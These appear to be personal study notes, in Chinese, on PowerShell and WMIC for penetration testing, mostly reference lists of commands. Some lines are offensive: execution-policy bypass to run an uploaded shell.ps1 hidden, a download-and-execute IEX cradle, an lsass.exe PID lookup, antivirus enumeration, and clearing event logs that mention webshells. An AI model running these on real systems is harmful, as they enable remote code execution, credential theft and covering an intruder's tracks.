之前在内网渗透,免杀中到处能看到powershell和wmic的身影,功能还是非常强大的,但一直没有系统的学习过他们,对他们还是一知半解,现在有空了系统的学习下并记录学习笔记。
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。内置在Windows版本中,可以看成是cmd命令的扩充,所包含的命令兼容cmd。
在powershell下,类似cmd命令叫做cmdlet(command-let)。
cmdlet是本机PowerShell命令,而不是独立的可执行文件。cmdlet收集在 PowerShell模块中,可按需加载。可以用任何编译的.NET 语言或PowerShell 脚本语言本身来编写cmdlet。
cmdlet命名比较规范都采用”动词-名词“的形式。
动词标识cmdlet执行的操作,名词标识该cmdlet执行其操作的所在资源。
动词一般为Add、New、Get、Remove、Set、Clear等,名词一般都是动词作用的资源。
get-help
来查看帮助。
get-command
查看powershell支持的命令,有很多的命令,这里只截取一部分。
CommandType | Name | Definition |
---|---|---|
表示命令类型,Alias是别名、Cmdlet是powershell格式的命令、Function是函数 | 具体的命令 | 命令功能的简单描述。 |
![(https://img-blog.csdnimg.cn/944b4cec34114fc3b4852c2d48b3d9aa.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAMWFuY2Uu,size_20,color_FFFFFF,t_70,g_se,x_16)
命令不缺分大小写且支持tab补全。
new-item 123 -itemtype Directory #新建123目录
new-item 123.txt -itemtype file #新建123.txt文件
set-content 123.txt -value "Hello,word!" #设置123.txt文件内容
get-content 123.txt #显示123.txt文件内容
add-content 123.txt -value "LOVE" #追加内容
clear-content 123.txt #清除文件内容
remove-item 123.txt #删除123.txt文件
remove-item 123 #删除123目录
get-childitem #显示当前路径下的文件和目录
Get-Command #得到所有PowerShell命令,获取有关 cmdlet 以及有关 Windows PowerShell 命令的其他元素的基本信息。 #包括Cmdlet、Alias、Function。
Get-Process #获取所有进程
Get-Help #显示有关 Windows PowerShell 命令和概念的信息
Get-History #获取在当前会话中输入的命令的列表
Get-Job #获取在当前会话中运行的 Windows PowerShell 后台作业
Get-FormatData #获取当前会话中的格式数据
Get-Event #获取事件队列中的事件
Get-Alias #获取当前会话的别名
Get-Culture #获取操作系统中设置的当前区域性
Get-Date #获取当前日期和时间
Get-Host #获取表示当前主机程序的对象
Get-Member #获取对象的属性和方法。
如:$var = 3
$var | get-member
Get-Random #从集合中获取随机数或随机选择对象
Get-UICulture #获取操作系统中当前用户界面 (UI) 区域性设置
Get-Unique #从排序列表返回唯一项目
Get-Variable #获取当前控制台中的变量
Get-EventLog #获取本地或远程计算机上的事件日志或事件日志列表中的事件
Get-ChildItem #获取一个或多个指定位置中的项和子项
Get-Content #获取指定位置的项的内容
Get-ItemProperty #获取指定项的属性
Get-WmiObject #获取 Windows Management Instrumentation (WMI) 类的实例或可用类的相关信息
Get-Location #获取当前工作位置的相关信息(如:F:\Users\TaoMin )
Get-PSDrive #获取当前会话中的 Windows PowerShell 驱动器
Get-Item #获取位于指定位置的项
Get-Service #获取本地或远程计算机上的服务
Get-Transaction #获取当前(活动)事务
Get-ExecutionPolicy#获取当前会话中的执行策略
Set-Alias #在当前 Windows PowerShell 会话中为 cmdlet 或其他命令元素创建或更改别名(替代名称)
如:Set-Alias aaa Get-Command
Set-PSDebug #打开和关闭脚本调试功能,设置跟踪级别并切换 strict 模式
Set-StrictMode #建立和强制执行表达式、脚本和脚本块中的编码规则
Set-Date #将计算机上的系统时间更改为指定的时间
Set-Variable #设置变量的值,如果该变量还不存在,则创建该变量
Set-PSBreakpoint #在行、命令或者变量上设置断点
Set-Location #将当前工作位置设置为指定的位置
Set-Item #将项的值更改为命令中指定的值
Set-Service #启动、停止和挂起服务并更改服务的属性
Set-Content #在项中写入内容或用新内容替换其中的内容
Set-ItemProperty #创建或更改某一项的属性值
Set-WmiInstance #创建或更新现有 Windows Management Instrumentation (WMI) 类的实例
Set-ExecutionPolicy #更改 Windows PowerShell 执行策略的用户首选项。
Write-Host #将自定义输出内容写入主机。类似于.net的 write()或者writeline()功能
Write-Progress #在 Windows PowerShell 命令窗口内显示进度栏
Write-Debug #将调试消息写入控制台
Write-Verbose #将文本写入详细消息流
Write-Warning #写入警告消息
Write-Error #将对象写入错误流
Write-Output #将指定对象发送到管道中的下一个命令;如果该命令是管道中的最后一个命令,则在控制台上显示这些对象
Write-EventLog #将事件写入事件日志
powershell脚本其实是简单的文本文件,文件包含了一系列powershell命令,每个命令显示为独立的一行,脚本文件后缀为
.ps1
。
执行脚本: 为了防止恶意脚本的执行,powershell有一个执行策略,默认情况下,这个执行策略设为受限。
Get-ExecutionPolicy
获取当前会话中的执行策略
Restricted:脚本不能运行(默认设置)。
RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
AllSigned:仅当脚本由受信任的发布者签名时才能运行。
Unrestricted:允许所有的script运行。
可通过Set-ExecutionPolicy
修改执行策略。
脚本编写可参考文章:https://www.jianshu.com/p/b69040c074b7
绕过执行策略执行脚本:
绕过本地权限执行
上传shell.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本。
powerShell.exe -ExecutionPolicy Bypass -File shell.ps1
本地隐藏绕过权限执行脚本
powerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File shell.ps1
用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("shell.ps1");[Parameters]
下面对上述命令的参数进行说明,如下所示。
ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
WindowStyle Hidden:隐藏窗口。
NoLogo:启动不显示版权标志的PowerShell。
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP): PowerShell控制台不加载当前用户的配置文件。
Noexit:执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
https://www.jianshu.com/p/b69040c074b7
https://www.cnblogs.com/lsdb/p/9531338.html
官方文档
wmi 命令行 (WMIC) 实用工具提供 Windows Management Instrumentation (WMI) 的命令行接口。 WMIC 与现有 shell 和实用工具命令兼容。 官方文档
包含全局开关,“动词”,函数别名即名词。命令格式和PowerShell一样也是"动词+名词+参数"。
名称 | 描述 |
---|---|
/NAMESPACE | 别名在其上操作的命名空间的路径。 |
/ROLE | 包含别名定义的角色的路径。 |
/NODE | 别名在其上操作的服务器。 |
/IMPLEVEL | 客户端模拟级别。 |
/AUTHLEVEL | 客户端身份验证级别。 |
/LOCALE | 客户端应使用的语言 ID。 |
/PRIVILEGES | 启用或禁用所有权限。 |
/TRACE | 将调试信息输出到 stderr。 |
/RECORD | 记录所有输入命令和输出内容。 |
/INTERACTIVE | 设置或重置交互模式。 |
/FAILFAST | 设置或重置 FailFast 模式。 |
/USER | 会话期间要使用的用户。 |
/PASSWORD | 登录会话时要使用的密码。 |
/OUTPUT | 指定输出重定向模式。 |
/APPEND | 指定输出重定向模式。 |
/AGGREGATE | 设置或重置聚合模式。 |
/AUTHORITY | 指定连接的 <授权类型>。 |
/?[: |
用法信息。/NAMESPACE /?:BRIEF |
Associators of ()
,其中 是 路径 或 类 命令返回的对象的路径。 结果是与对象关联的实例。 将 ASSOC 与别名一起使用时,将返回具有别名的类的类。 默认情况下,以 HTML 格式返回输出。eg:OS ASSOC
开关 | 说明 |
---|---|
/RESULTCLASS: < classname> | 与源对象关联的返回终结点必须属于或派生自指定的类。 |
/RESULTROLE: <> | 返回的终结点必须在与源对象的关联中扮演特定角色。 |
/ASSOCCLASS: < ASSOCCLASS> | 返回的终结点必须通过指定的类或其派生类之一与源关联。 |
CAPTION = 'TELNET' CALL STARTSERVICE
环境变量名称 = "TEMP"; VARIABLEVALUE = "NEW"
NAME = "CALC.EXE" DELETE process
PROCESS where name="lsass.exe" get processid
当前角色中可以使用以下别名:
ALIAS - 对本地系统上可用别名的访问
BASEBOARD - 基板(也称为主板或系统板)管理。
BIOS - 基本输入/输出服务(BIOS)管理。
BOOTCONFIG - 启动配置管理。
CDROM - CD-ROM 管理。
COMPUTERSYSTEM - 计算机系统管理。
CPU - CPU 管理。
CSPRODUCT - SMBIOS 中的计算机系统产品信息。
DATAFILE - 数据文件管理。
DCOMAPP - DCOM 应用程序管理。
DESKTOP - 用户的桌面管理。
DESKTOPMONITOR - 桌面监视器管理。
DEVICEMEMORYADDRESS - 设备内存地址管理。
DISKDRIVE - 物理磁盘驱动器管理。
DISKQUOTA - 用于 NTFS 卷的磁盘空间使用量。
DMACHANNEL - 直接内存访问(DMA)通道管理。
ENVIRONMENT - 系统环境设置管理。
FSDIR - 文件系统目录项管理。
GROUP - 组帐户管理。
IDECONTROLLER - IDE 控制器管理。
IRQ - 中断请求线路(IRQ)管理。
JOB - 提供对使用计划服务安排的作业的访问。
LOADORDER - 定义执行依赖关系的系统服务的管理。
LOGICALDISK - 本地存储设备管理。
LOGON - 登录会话。
MEMCACHE - 缓存内存管理。
MEMORYCHIP - 内存芯片信息。
MEMPHYSICAL - 计算机系统的物理内存管理。
NETCLIENT - 网络客户端管理。
NETLOGIN - 网络登录信息(属于特定用户)管理。
NETPROTOCOL - 协议(及其网络特征)管理。
NETUSE - 活动网络连接管理。
NIC - 网络接口控制器(NIC)管理。
NICCONFIG - 网络适配器管理。
NTDOMAIN - NT 域管理。
NTEVENT - NT 事件日志中的项目。
NTEVENTLOG - NT 事件日志文件管理。
ONBOARDDEVICE - 主板(系统板)中内置的通用适配器设备的管理。
OS - 已安装操作系统的管理。
PAGEFILE - 虚拟内存文件交换管理。
PAGEFILESET - 页面文件设置管理。
PARTITION - 物理磁盘的已分区区域的管理。
PORT - I/O 端口管理。
PORTCONNECTOR - 物理连接端口管理。
PRINTER - 打印机设备管理。
PRINTERCONFIG - 打印机设备配置管理。
PRINTJOB - 打印作业管理。
PROCESS - 进程管理。
PRODUCT - 安装程序包任务管理。
QFE - 快速修复工程。
QUOTASETTING - 卷上的磁盘配额设置信息。
RDACCOUNT - 远程桌面连接权限管理。
RDNIC - 对特定网络适配器的远程桌面连接管理。
RDPERMISSIONS - 特定远程桌面连接的权限。
RDTOGGLE - 远程打开或关闭远程桌面侦听程序。
RECOVEROS - 操作系统出现故障时将从内存收集的信息。
REGISTRY - 计算机系统注册表管理。
SCSICONTROLLER - SCSI 控制器管理。
SERVER - 服务器信息管理。
SERVICE - 服务应用程序管理。
SHADOWCOPY - 卷影副本管理。
SHADOWSTORAGE - 卷影副本存储区域管理。
SHARE - 共享资源管理。
SOFTWAREELEMENT - 系统上安装的软件产品元素的管理。
SOFTWAREFEATURE - SoftwareElement 的软件产品子集的管理。
SOUNDDEV - 声音设备管理。
STARTUP - 当用户登录到计算机系统时自动运行的命令的管理。
SYSACCOUNT - 系统帐户管理。
SYSDRIVER - 基本服务的系统驱动程序管理。
SYSTEMENCLOSURE - 物理系统外壳管理。
SYSTEMSLOT - 物理连接点(包括端口、插槽和外设以及专用连接点)的管理。
TAPEDRIVE - 磁带驱动器管理。
TEMPERATURE - 温度传感器(电子温度计)数据管理。
TIMEZONE - 时区数据管理。
UPS - 不间断电源(UPS)管理。
USERACCOUNT - 用户帐户管理。
VOLTAGE - 电压传感器(电子电压表)数据管理。
VOLUME - 本地存储卷管理。
VOLUMEQUOTASETTING - 将磁盘配额设置与特定磁盘卷相关联。
VOLUMEUSERQUOTA - 每用户存储卷配额管理。
WMISET - WMI 服务操作参数管理。
有关特定别名的详细信息,请键入: alias /?
CLASS - 按 Esc 键可获取完整 WMI 架构。
PATH - 按 Esc 键可获取完整 WMI 对象路径。
CONTEXT - 显示所有全局开关的状态。
QUIT/EXIT - 退出程序。
注意:请不要在本机上试验命令。
wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list
wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
wmic process call create "taskmgr.exe"
wmic process where name="explorer.exe" call set priority 64
wmic process where name="explorer.exe" call terminate
wmic process where "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath
wmic fsdir where "drive='C:' and filename='test'" get /format:list
wmic datafile where name='c:\\windows\\system32\\demo\\demo.txt' get /format:list
wmic environment get Description, VariableValue
wmic product get name
wmic service where (state="running") get caption, name, startmode
wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpTime, NumberofProcesses, NumberofUsers, Organization, Status /format:list
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list
wmic baseboard get Manufacturer, Product, SerialNumber, Version
wmic bios get serialNumber
wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status
wmic memorychip get PartNumber, SerialNumber
wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list
wmic useraccount where name='demo' set disabled=false
wmic useraccount where name='demo' rename test
wmic useraccount where name='test' set passwordchangeable=false
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe
wmic nteventlog where filename='system' call cleareventlog
wmic nteventlog where (description like "%webshell%") call cleareventlog
https://blog.csdn.net/discover2210212455/article/details/82711930
https://www.hackingarticles.in/post-exploitation-using-wmic-system-command/
https://www.cnblogs.com/DiZhang/p/12544793.html
https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmic?redirectedfrom=MSDN